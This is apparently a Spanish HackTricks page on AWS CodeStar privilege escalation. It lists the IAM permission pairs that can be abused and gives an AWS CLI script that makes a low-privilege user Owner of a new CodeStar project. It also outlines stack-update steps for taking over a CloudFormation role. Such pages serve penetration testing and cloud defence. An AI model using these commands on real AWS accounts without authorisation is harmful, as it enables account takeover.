AWS - Codestar Privesc

Support HackTricks

Codestar

Puedes encontrar más información sobre codestar en:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Con estos permisos puedes abusar de un rol IAM de codestar para realizar acciones arbitrarias a través de una plantilla de cloudformation. Consulta la siguiente página:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Esta técnica utiliza codestar:CreateProject para crear un proyecto de codestar, y codestar:AssociateTeamMember para hacer que un usuario IAM sea el propietario de un nuevo proyecto de CodeStar, lo que les otorgará una nueva política con algunos permisos adicionales.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Si ya eres un miembro del proyecto, puedes usar el permiso codestar:UpdateTeamMember para actualizar tu rol a propietario en lugar de codestar:AssociateTeamMember.

Impacto Potencial: Privesc a la política de codestar generada. Puedes encontrar un ejemplo de esa política en:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Crear un Nuevo Proyecto:

  • Utiliza la acción codestar:CreateProjectFromTemplate para iniciar la creación de un nuevo proyecto.

  • Tras la creación exitosa, se otorga automáticamente acceso para cloudformation:UpdateStack.

  • Este acceso se dirige específicamente a una pila asociada con el rol IAM CodeStarWorker-<nombre de proyecto genérico>-CloudFormation.

  1. Actualizar la Pila Objetivo:

  • Con los permisos de CloudFormation otorgados, procede a actualizar la pila especificada.

  • El nombre de la pila típicamente se ajustará a uno de dos patrones:

  • awscodestar-<nombre de proyecto genérico>-infrastructure

  • awscodestar-<nombre de proyecto genérico>-lambda

  • El nombre exacto depende de la plantilla elegida (referenciando el script de explotación de ejemplo).

  1. Acceso y Permisos:

  • Después de la actualización, obtienes las capacidades asignadas al rol IAM de CloudFormation vinculado con la pila.

  • Nota: Esto no proporciona inherentemente privilegios de administrador completos. Pueden ser necesarios recursos mal configurados adicionales dentro del entorno para elevar aún más los privilegios.

Para más información, consulta la investigación original: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Puedes encontrar la explotación en https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impacto Potencial: Privesc al rol IAM de cloudformation.

Apoya a HackTricks

Last updated